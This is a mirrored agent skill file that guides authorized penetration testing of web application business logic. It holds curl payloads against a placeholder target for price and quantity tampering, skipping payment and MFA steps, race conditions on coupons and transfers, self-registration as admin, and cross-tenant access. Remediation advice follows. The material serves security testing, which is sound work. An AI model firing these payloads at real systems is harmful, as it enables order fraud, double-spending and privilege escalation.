testing-for-business-logic-vulnerabilities skill (Anthropic-Cybersecurity-Skills)
- Install
- SKILL.md (verbatim)
- When to Use
- Prerequisites
- Workflow
- Step 1: Map Business Workflows and Rules
- Step 2: Test Price and Quantity Manipulation
- Step 3: Test Workflow Step Bypass
- Step 4: Test Race Conditions in Business Logic
- Step 5: Test Referral and Reward System Abuse
- Step 6: Test Role and Permission Logic
- Key Concepts
- Tools & Systems
- Common Scenarios
- Scenario 1: Coupon Code Stacking
- Scenario 2: Race Condition on Fund Transfer
- Scenario 3: Checkout Price Override
- Scenario 4: Password Reset Token Reuse
- Output Format
- Other files in this skill
- references/api-reference.md (verbatim)
- requests Library
- Concurrent Testing (Race Conditions)
- Business Logic Test Categories
- Price Manipulation Payloads
- Workflow Bypass Tests
- Race Condition Targets
- Referral/Reward Abuse
- OWASP Category
- References
What it does. Manually identifies flaws in application business logic - price manipulation, Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).
| Upstream | mukul975/Anthropic-Cybersecurity-Skills |
| Skill file | skills/testing-for-business-logic-vulnerabilities/SKILL.md |
| License | Apache-2.0 (skill folder LICENSE) |
| Author | mukul975 |
| Fetched | 2026-09-10 |
Install
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-business-logic-vulnerabilities, or copy the skill folder into~/.claude/skills/testing-for-business-logic-vulnerabilities/.- Raw file:
curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-business-logic-vulnerabilities/SKILL.md
SKILL.md (verbatim)
name: testing-for-business-logic-vulnerabilities
description: Manually identifies flaws in application business logic - price manipulation,
multi-step workflow bypass, and privilege escalation - by intercepting and modifying
requests with Burp Suite, going beyond what automated vulnerability scanners detect.
Use for e-commerce checkout/cart flows, voucher and rewards systems, or any assessment
where scanners find little but business rules need scrutiny.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- business-logic
- owasp
- web-security
- burpsuite
- manual-testing
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1068
Testing for Business Logic Vulnerabilities
When to Use
- During authorized penetration tests when automated scanners have found few technical vulnerabilities
- When assessing e-commerce platforms for pricing, cart, and payment flow manipulations
- For testing multi-step workflows (registration, checkout, approval processes) for bypass opportunities
- When evaluating rate-limited features like vouchers, coupons, referrals, and rewards systems
- During security assessments of financial applications, voting systems, or any application with critical business rules
Prerequisites
- Authorization: Written penetration testing agreement covering business logic testing
- Burp Suite Professional: For intercepting and modifying multi-step request flows
- Application understanding: Thorough knowledge of the application's intended business workflows
- Multiple test accounts: Accounts at different privilege levels and states
- Browser DevTools: For examining client-side validation logic
- Documentation: Business requirements or user stories describing expected behavior
Workflow
Step 1: Map Business Workflows and Rules
Document all critical business processes and their expected constraints.
# Critical business flows to map:
# 1. Registration/Onboarding flow
# - Email verification requirements
# - Account approval process
# - Role assignment logic
# 2. E-commerce/Purchase flow
# - Product selection → Cart → Checkout → Payment → Confirmation
# - Price calculation logic
# - Discount/coupon application
# - Quantity limits
# - Shipping cost calculation
# 3. Authentication/Authorization flow
# - Login → MFA → Dashboard
# - Password reset → Token → New password
# - Role escalation/approval
# 4. Financial transactions
# - Balance check → Transfer → Confirmation
# - Withdrawal limits
# - Currency conversion
# Document expected constraints:
# - Minimum order amounts
# - Maximum quantity per item
# - Coupon usage limits (one per user)
# - Referral reward caps
# - Withdrawal daily limits
# - Account verification requirements before certain actions
Step 2: Test Price and Quantity Manipulation
Intercept and modify price, quantity, and total values in requests.
# Test negative quantity
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": -1, "price": 99.99}' \
"https://target.example.com/api/cart/add"
# Test zero price
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": 1, "price": 0}' \
"https://target.example.com/api/cart/add"
# Test extremely large quantity
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": 999999999}' \
"https://target.example.com/api/cart/add"
# Test decimal/float manipulation
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": 0.001, "price": 0.01}' \
"https://target.example.com/api/cart/add"
# Test integer overflow
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": 2147483647}' \
"https://target.example.com/api/cart/add"
# Modify total amount directly in checkout request
# Intercept in Burp and change total from 299.99 to 0.01
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"cart_id": "abc123", "total": 0.01, "payment_method": "card"}' \
"https://target.example.com/api/checkout"
Step 3: Test Workflow Step Bypass
Attempt to skip required steps in multi-step processes.
# Skip email verification
# Instead of: Register → Verify email → Access dashboard
# Try: Register → Access dashboard directly
curl -s -H "Authorization: Bearer $UNVERIFIED_TOKEN" \
"https://target.example.com/api/dashboard"
# Skip payment step
# Instead of: Cart → Shipping → Payment → Confirmation
# Try: Cart → Confirmation (skip payment)
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"cart_id": "abc123", "shipping_address": "123 Main St"}' \
"https://target.example.com/api/orders/confirm"
# Skip MFA step
# Instead of: Login → MFA → Dashboard
# Try: Login → Dashboard (skip MFA)
# After successful password auth, directly access protected resources
# Skip approval process
# Instead of: Submit request → Manager approval → Access granted
# Try: Submit request → Access granted (skip approval)
# Repeat a step that should be one-time
# Apply same coupon code multiple times
for i in $(seq 1 5); do
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"coupon_code": "DISCOUNT50"}' \
"https://target.example.com/api/cart/apply-coupon"
echo "Attempt $i"
done
Step 4: Test Race Conditions in Business Logic
Exploit timing windows in concurrent request processing.
# Race condition on coupon application
# Send multiple identical requests simultaneously
for i in $(seq 1 10); do
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"coupon_code": "ONETIME50"}' \
"https://target.example.com/api/cart/apply-coupon" &
done
wait
# Race condition on balance transfer
# If user has $100, try to transfer $100 to two accounts simultaneously
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"to": "user_b", "amount": 100}' \
"https://target.example.com/api/transfer" &
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"to": "user_c", "amount": 100}' \
"https://target.example.com/api/transfer" &
wait
# Race condition on reward claiming
# Using Burp Turbo Intruder for precise timing:
# 1. Send request to Turbo Intruder
# 2. Use race condition script template
# 3. Send 20+ requests simultaneously
# 4. Check if reward was claimed multiple times
Step 5: Test Referral and Reward System Abuse
Find ways to exploit promotional features and reward mechanisms.
# Self-referral: refer your own email
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"referral_email": "myown@email.com"}' \
"https://target.example.com/api/referrals/invite"
# Referral code reuse across multiple accounts
# Create multiple accounts and use same referral code
# Coupon stacking: apply multiple discount codes
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"coupon_codes": ["SAVE10", "WELCOME20", "VIP50"]}' \
"https://target.example.com/api/cart/apply-coupons"
# Abuse free trial: re-register with same details
# Test if email+1@domain.com or email@domain.com bypass duplicate detection
# Gift card / credit manipulation
# Buy gift card with gift card balance (circular)
# Apply gift card with value > purchase price (get change as credit)
# Test reward point manipulation
# Earn points on order → Cancel order → Keep points
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/orders/12345/cancel"
# Check if reward points from order 12345 were revoked
Step 6: Test Role and Permission Logic
Assess authorization logic for privilege escalation through business processes.
# Role escalation via registration parameter
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"email":"test@test.com","password":"Test1234!","role":"admin"}' \
"https://target.example.com/api/auth/register"
# Organization tenant boundary testing
# User in Org A tries to access Org B resources via business workflows
curl -s -X POST \
-H "Authorization: Bearer $TOKEN_ORG_A" \
-H "Content-Type: application/json" \
-d '{"org_id": "org_b_id", "action": "view_reports"}' \
"https://target.example.com/api/reports"
# Test for privilege retention after role downgrade
# Admin → Regular user: can they still access admin functions?
# Employee → Terminated: can they still access company resources?
# Test invitation/delegation abuse
# Invite user with higher privileges than inviter has
curl -s -X POST \
-H "Authorization: Bearer $REGULAR_TOKEN" \
-H "Content-Type: application/json" \
-d '{"email":"new@test.com","role":"admin"}' \
"https://target.example.com/api/users/invite"
Key Concepts
| Concept | Description |
|---|---|
| Business Logic Flaw | A vulnerability in the application's workflow or rules that allows unintended actions |
| Price Manipulation | Modifying price, quantity, or total values in client-side requests |
| Workflow Bypass | Skipping required steps in a multi-step business process |
| Race Condition | Exploiting concurrent request processing to violate business constraints |
| Privilege Escalation | Gaining higher permissions through business process manipulation |
| Negative Testing | Testing with unexpected values (negative, zero, null, extreme) |
| State Manipulation | Changing application state in an order not intended by the business logic |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Request interception, modification, and sequence testing |
| Burp Turbo Intruder | High-speed request sending for race condition testing |
| Burp Sequencer | Token randomness analysis for predictable reference testing |
| OWASP ZAP | Open-source alternative for proxy-based testing |
| Postman | Workflow testing with collection runners and environment variables |
| Custom scripts | Python/bash scripts for automated business logic testing |
Common Scenarios
Scenario 1: Coupon Code Stacking
An e-commerce site allows applying multiple coupon codes. By stacking "WELCOME10", "SAVE20", and "VIP30", the total discount exceeds the product price, resulting in a negative balance or free order.
Scenario 2: Race Condition on Fund Transfer
A banking application checks balance before transfer but does not lock the account. Sending two simultaneous $1000 transfers from a $1000 balance results in both succeeding, creating money from nothing.
Scenario 3: Checkout Price Override
The checkout flow sends the total amount in the POST body. Intercepting and changing the total from $499.99 to $0.01 results in a successful order at the manipulated price.
Scenario 4: Password Reset Token Reuse
The password reset flow generates a one-time token but does not invalidate it after use. The same token can be used repeatedly to reset the password.
Output Format
## Business Logic Vulnerability Finding
**Vulnerability**: Price Manipulation in Checkout Flow
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/checkout - `total` parameter
**OWASP Category**: A04:2021 - Insecure Design
### Reproduction Steps
1. Add item to cart (price: $499.99)
2. Proceed to checkout
3. Intercept POST /api/checkout request in Burp
4. Modify "total" from 499.99 to 0.01
5. Forward the request; order completes at $0.01
### Business Rules Violated
| Rule | Expected | Actual |
|------|----------|--------|
| Server-side price calculation | Total computed server-side | Client-submitted total accepted |
| Coupon single use | One coupon per order | Same coupon applied 5 times |
| Negative quantity check | Quantity >= 1 | Quantity -1 accepted (credit issued) |
| Race condition on transfer | Balance checked atomically | Dual transfer exceeded balance |
### Impact
- Financial loss: orders processed at attacker-controlled prices
- Inventory loss: products shipped for $0.01
- Reward abuse: unlimited referral credits via self-referral
- Double-spending via race condition on transfers
### Recommendation
1. Perform all price calculations server-side; never trust client-submitted totals
2. Implement server-side validation for quantity (positive integers only)
3. Use database-level locks or atomic transactions for financial operations
4. Implement idempotency keys to prevent duplicate transaction processing
5. Rate-limit and log coupon applications, referral submissions, and transfers
Other files in this skill
references/api-reference.md (verbatim)
API Reference: Testing for Business Logic Vulnerabilities
requests Library
Concurrent Testing (Race Conditions)
import threading
def send_request():
resp = requests.post(url, headers=headers, json=payload)
results.append(resp.status_code)
threads = [threading.Thread(target=send_request) for _ in range(10)]
for t in threads: t.start()
for t in threads: t.join()
Business Logic Test Categories
Price Manipulation Payloads
| Test | Payload | Expected |
|---|---|---|
| Negative quantity | {"quantity": -1} |
Should reject |
| Zero price | {"price": 0} |
Should reject |
| Float quantity | {"quantity": 0.001} |
Should reject for physical goods |
| Integer overflow | {"quantity": 2147483647} |
Should reject |
| Negative price | {"price": -99.99} |
Should reject |
Workflow Bypass Tests
- Skip email verification -> access dashboard
- Skip payment -> confirm order
- Skip MFA -> access protected resources
- Repeat one-time steps (coupon, voucher)
Race Condition Targets
| Endpoint | Risk |
|---|---|
| Coupon application | Applied multiple times |
| Balance transfer | Double spending |
| Reward claiming | Multiple claims |
| Inventory purchase | Overselling |
Referral/Reward Abuse
- Self-referral with own email
- Referral code reuse across accounts
- Coupon stacking (multiple codes)
- Earn points -> cancel order -> keep points
OWASP Category
- A04:2021 - Insecure Design
- Business logic flaws are not detectable by automated scanners
References
- OWASP Testing Business Logic: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/10-Business_Logic_Testing/
- PortSwigger Business Logic: https://portswigger.net/web-security/logic-flaws
- requests docs: https://docs.python-requests.org/
Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.